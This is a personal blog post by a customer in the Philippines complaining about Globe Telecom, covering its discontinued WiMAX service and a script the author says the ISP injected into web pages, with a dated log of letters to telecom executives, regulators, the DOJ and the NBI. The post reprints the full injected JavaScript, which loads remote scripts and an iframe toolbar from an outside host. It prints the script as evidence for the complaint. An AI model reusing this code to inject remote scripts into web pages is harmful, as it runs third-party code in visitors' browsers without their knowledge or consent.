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Globe WIMAX discontinued

Okay, here we go. Let’s take this complaints business a bit more serious, even though I prefer to continue making my DoctorsConnect project work.

And my main reason to start this now is that I can’t imagine that I/we were the only ones affected by Globe discontinuing their WIMAX service. And yes, I know we were probably outside the official service area of Globe, so somehow Globe may have a point discontinuing the service with us. However, as far as I know we still have a contract with them and they have been continuing sending bills and charging us, even though I just received a bill with some kind of refund, so my complaints(!?) seem to have had some effect.

And yes, I can be very annoying and childish sometimes, or maybe even often, with my complaints, with how I complaint. Regardless of that, I am still a valued customer, at least according to Globe as that is how they address me, and, as stated before, there is still a legally valid contract for Globe delivering internet service and we paying for that.

And, as usual, I just started this article to get it out of my mind and ‘just start’, so I won’t continue right now to make it into a nice article, but again. I have to start somewhere helping other people with this, or with other issues, related to Globe. And that means I first have to find them.

Just comment or write an e-mail to guus@inspiration-for-success.com if you have a problem with Globe or with any other (large) company and don’t know what to do.

And please keep in mind in my opinion complaints are in the interest of (those) companies also. My experience, especially with Globe right now, is that they have no proper procedure in place to deal with the issue I am dealing with and am complaining about. I am pretty sure the management of Globe is not happy with how it is being handled, but apparently they don’t know about it.

Maybe just share some links

Introduction and history of this page

I think this page needs some explanation, as e.g. the title “Maybe just share some links” does not make sense. And I can’t even remember how that title came into being, but it was there and I optimized the page for SEO with it, so I just left it. I may change it though, as I have become better at dealing with things like that.

Next to the strange title I realize that I thought this page was (also) about my issue of having no internet at all for a while, where for ‘internet safety’ reasons I prefer to have at least two connections, as I was running a web development company here at the time and it is very hard to live without internet for a company like that, even though I managed serving customers at the time when I really didn’t have internet. So yeah, even two connections does not guarantee having internet all the time, and right now only one is working, where the other one (Globe) is not working for about nine months now.

So well, time to reorganize this page I guess, as I am going to use it also related to my current issue with Globe, Globe having discontinued the WIMAX service and apparently not having an alternative to at least serve our location. I am pretty sure though there are more locations they cannot serve anymore. And that is one of my reasons to write about it: improve the service of telecom providers and other big companies. Companies who in general are very good in delivering their service, but who are not always that good in handling problems that are not so common, like in our case a pretty remote location, at least related to Globe Telecom.

Original post

Well, couldn’t resists some discussion around Globe hacking websites in a very unethical or maybe even criminal way: Globe hacking websites. And well, if nobody does something about it I guess it will have to be me as again I think companies should serve people in a simple way, like an Internet Service Provider just providing internet access in the best possible, fastest way without any Fair Usage Policies that are actually volume limits or messing with content they have nothing to do with.

TelecomSo yes, it seems all kinds of industries in the world are getting greedy. I never wanted to believe that, but I’m starting to believe that’s the main reason why many people feel so poor.

And this is the code Globe inserts, and as a programmer it even makes me scared as I can’t see straight away what it does and normally these things are called malware or spyware:

<!– Layer8 version –><script>if(top==window){var fn_selector_insertion_script=”http://toolbar.mywebacceleration.com/tbpreload.js”;runFnTbScript = function(){try{var tbInsertion = new FNH.TBInsertion();var tbData = “PFRCRGF0YT48VEJEYXRhSXRlbSBuYW1lPSJob3N0X3VybCIgdmFsdWU9Imh0dHA6Ly93d3cuaW5zcGlyYXRpb24tZm9yLXN1Y2Nlc3MuY29tL3dwLWFkbWluL3Bvc3QucGhwP3Bvc3Q9MzM1NyZhbXA7YWN0aW9uPWVkaXQiID48L1RCRGF0YUl0ZW0+PFRCRGF0YUl0ZW0gbmFtZT0iaW5zZXJ0aW9uIiB2YWx1ZT0iaHR0cDovL3Rvb2xiYXIubXl3ZWJhY2NlbGVyYXRpb24uY29tL3NvdXJjZXMvaW5mcmEvanMvaW5zZXJ0aW9uX3BjLmpzIiBjb25maWd1cmF0aW9uPSJ0cnVlIiA+PC9UQkRhdGFJdGVtPjwvVEJEYXRhPg==”;tbInsertion.parseTBData(tbData);var fnLayer8=tbInsertion.createIframeElement(“fn_layer8”, “http://toolbar.mywebacceleration.com/Globe/fakeToolbar.html”);var owner;if(document.body){owner=document.body;}else{owner=document.documentElement;}var shouldAddDiv=tbInsertion.getAttributeFromTBData(“div_wrapper”);if(shouldAddDiv){var divWrpr=tbInsertion.createElement(“div”, “fn_wrapper_div”);divWrpr.style.position=”fixed”;divWrpr.ontouchstart=function(){return true;};if (typeof fnLayer8 != “undefined”)divWrpr.appendChild(fnLayer8);owner.appendChild(divWrpr);}else{if (typeof fnLayer8 != “undefined”)owner.appendChild(fnLayer8);}var result=tbInsertion.getAttributeFromTBData(“insertion”);if(result){scriptLocation=result;}else{scriptLocation=”http://toolbar.mywebacceleration.com/sources/infra/js/insertion_pc.js”}var fnd=document.createElement(“script”);fnd.setAttribute(“src”,scriptLocation);fnd.setAttribute(“id”,”fn_toolbar_script”);fnd.setAttribute(“toolbardata”,tbData);fnd.setAttribute(“toolbarhash”,”qs1BZYj+W/dkafS6ZPHz5A==”);fnd.setAttribute(“persdata”,”PFByaXZhdGVEYXRhPg0KPFByaXZhdGVJdGVtIGtleT0iY2xvc2VkIiB2YWx1ZT0iZmFsc2UiPg0KPC9Qcml2YXRlSXRlbT4NCjxQcml2YXRlSXRlbSBrZXk9Im1pbmltaXplZCIgdmFsdWU9ImZhbHNlIj4NCjwvUHJpdmF0ZUl0ZW0+DQo8UHJpdmF0ZUl0ZW0ga2V5PSJkZWZhdWx0UGVyc1ZhbHVlcyIgdmFsdWU9InRydWUiPg0KPC9Qcml2YXRlSXRlbT4NCjwvUHJpdmF0ZURhdGE+”);document.body.appendChild(fnd);}catch(e){console.error(“TB preload script failed: ” + e);}};var fne=document.createElement(“script”);fne.setAttribute(“src”,fn_selector_insertion_script);fne.setAttribute(“id”,”fn_selector_insertion_script”);if(fne.addEventListener){fne.onload = runFnTbScript;}else {fne.onreadystatechange = function(){if ((this.readyState == “complete”) || (this.readyState == “loaded”)) runFnTbScript();}};if(document.head==null || document.head==”undefined” ){document.head = document.getElementsByTagName(“head”)[0];}document.head.appendChild(fne);};</script>

Still, unworthy of Globe and The Philippines and the National Telecommunications Commission.

Actions and updates

Maybe you should know that i am not just complaining on this site, on this page. Next to this the following has been going on:

  • I wrote a letter to the CEO of Smart, Mr. Napoleon L. Nazareno, on January 17, 2014 regarding the service of Smart and their misleading Fair Usage Policy. A copy of this letter was sent to the CEO of PLDT, Mr. Manuel V. Pangilinan. Another copy was sent to Mr. Gamaliel A. Cordoba, Commissioner of  the National Communications Commission.
  • I wrote a letter to the CEO of Innove Communications, Inc., Mr. Gil B. Genio on February 3, 2014 about their bad service. Innove Communications, Inc. is the legal entity providing the Globe internet service. A copy of that letter was sent to the CEO of Globe Telecommunications, Inc., Mr. Ernest L. Cu.
  • As I did not get a reply to my firsts letters and as I had found the above script in the restored connection I wrote a second letter to Mr. Napoleon L. Nazareno and Mr. Ernest L. Cu with the suggestion to discuss the issues in Philippine internet and how to improve internet for Filipino people.
  • Atty. Ella Blanca B. Lopez of the Office of the Commissioner of the National Communications Commission confirmed my complaint about the Fair Usage Policy of Smart.
  • Neither Smart nor Globe replied to any of my letters. I cannot verify if my complaint to Smart was behind the visit of Smart engineers on March 19, 2014. These engineers solved a technical problem with my connection and were the people I think should have been involved much, much earlier. But they came, analyzed, fixed and left their contact details. Good job!
  • And just reading the above, and I do know the visit was most likely related to my letter(s) to Smart as I got an e-mail from the Vice President Marketing related to that letter referring to the fact that Mr. Nazareno had assigned him for dealing with the issue.
  • Related to Globe I recently found out that my letter(s) did have some effect internally in the Globe organization, as I know Mr. Cu called someone about it. I don’t know the details of that phone call, but the issue was solved (until a new, more serious, issue arose around November 2016).
  • Related to the hacking of Globe, which I consider a serious offense, I wrote an e-mail to the Department Of Justice on February 21, 2014.
  • Atty. Perla Y. Duque of the Department Of Justice informed me that my concern was forwarded to the NBI for further handling. This was confirmed to me with a copy of a letter to Mr. Vigilio L. Mendez, Director of the National Bureau of investigation on March 5, 2014 by Atty. Perla Y. Duque.
  • On March 21, 2014 I wrote a follow up letter related to the Globe hacking issue to the Mr. Vigilio L. Mendez, Director of the National Bureau of investigation with a copy to Mr. Gamaliel A. Cordoba, Commissioner of the National Telecommunications Commission to provide some more details.
  • On March 27, 2014 I got a very serious, professional reply from Smart related to my letter of February 28, 2014.
  • Around Easter 2014 Globe going around in circles after I reported a week ago or so that some web pages don’t show up properly, presumably related to the script insertion.
  • On April 21, 2014 I received two letters from the National Bureau of investigation confirming they are investigating the issue.
  • On May 6, 2014 I received a text of the NBI with the request to call them. I did on May 7, 2014 and agreed on sending a sworn statement as they indicated that’s what they need.
  • On May 10, 2014 I created my first draft of the sworn statement. Am planning to send that beginning next week, probably Monday May 12, 2014.
  • Finished and sent my sworn statement about Globe hacking websites to the NBI on May 13, 2014.
  • Followed up the status with the NBI and found my concern is on process on July 8, 2014.
  • Sent a follow up letter to Hon. Director Virgilio L. Mendez of the NBI on August 29, 2014 as nothing seems to be happening, at least not at the pace I think is appropriate for what Globe is doing.
  • And the commissioner of the NTC in Cagayan de Oro City, Mr. Teodoro D. Buenavista, Jr., was so kind to officially receive a copy of my sworn statement about Globe hacking websites, also on August 29, 2014, while I mentioned the matter to him while discussing some other matter.
  • Sent an e-mail to a contact of a friend of mine within DOJ. No apparant result or reply. Somewhere September or October 2014.
  • On October 30, 2014 I was asked by my Globe contact and a friend of mine to reboot my router and check if the script was still there. The script was gone and my main problem with a cut off webpage also seems to be solved. Waiting for confirmation that the script has indeed been removed everywhere, not only with me.
  • I just, December 23, 2014, wrote a letter to the CEO of Globe again as I did not get any confirmation that the script is really gone everywhere.
  • Again, no reply from Globe, at least not on or before February 19, 2015, meaning I certainly don’t feel a valued customer. Let’s just publish it here now: letter to CEO of Globe December 2014. Looking forward to your comments.
  • New story, as since last November, November 2016, we don’t have internet anymore. Globe just retired their wireless station without warning because they are moving to new technology. So new technology means we have speed zero now. And of course they keep sending the bills. And according to the technicians recently there is no problem ‘as there are no network issues in the area’.
  • And it is August 31, 2017 now and I did not remember I wrote the last bullet point about my new Globe issue. That issue is still not solved as Globe still does not seem to have an alternative technology with WIMAX capability until now to serve our location. Of course I am still following that up, but kind of amazing a company like Globe can’t serve an existing location anymore for nine months already. Fortunately Smart is still going strong with, yes I guess (very) old technology. But at least that is working, and speed of Globe is still zero.

Inspiration for Success

This page with complaints about the Philippine telecom industry is very much related to Inspiration for Success, as since I encountered the Principles of Success, the book Think and Grow Rich of Napoleon Hill I have slowly changed my ideas about all kinds of things related to success. One of the main things is that I now often find myself searching for opportunity in anything I perceive as negative, like fully losing my internet connection. Another main thing I learned is that ‘success’  is all about serving other people, nothing more, nothing less. I even dare to state now that in life there is virtually nothing else than serving other people, something I never understood, let alone implemented, earlier in my life.

Next to this you may find in my Philippine internet quest things like persistence, like feeling alone and moving on anyhow and again, trying to find something positive in everything, looking for the best and looking to serve people.

But not always easy, as of course I may still complain and my pride is still looking for recognition. But I guess that’s just being human, a human need for recognition, for feeling needed, for being praised.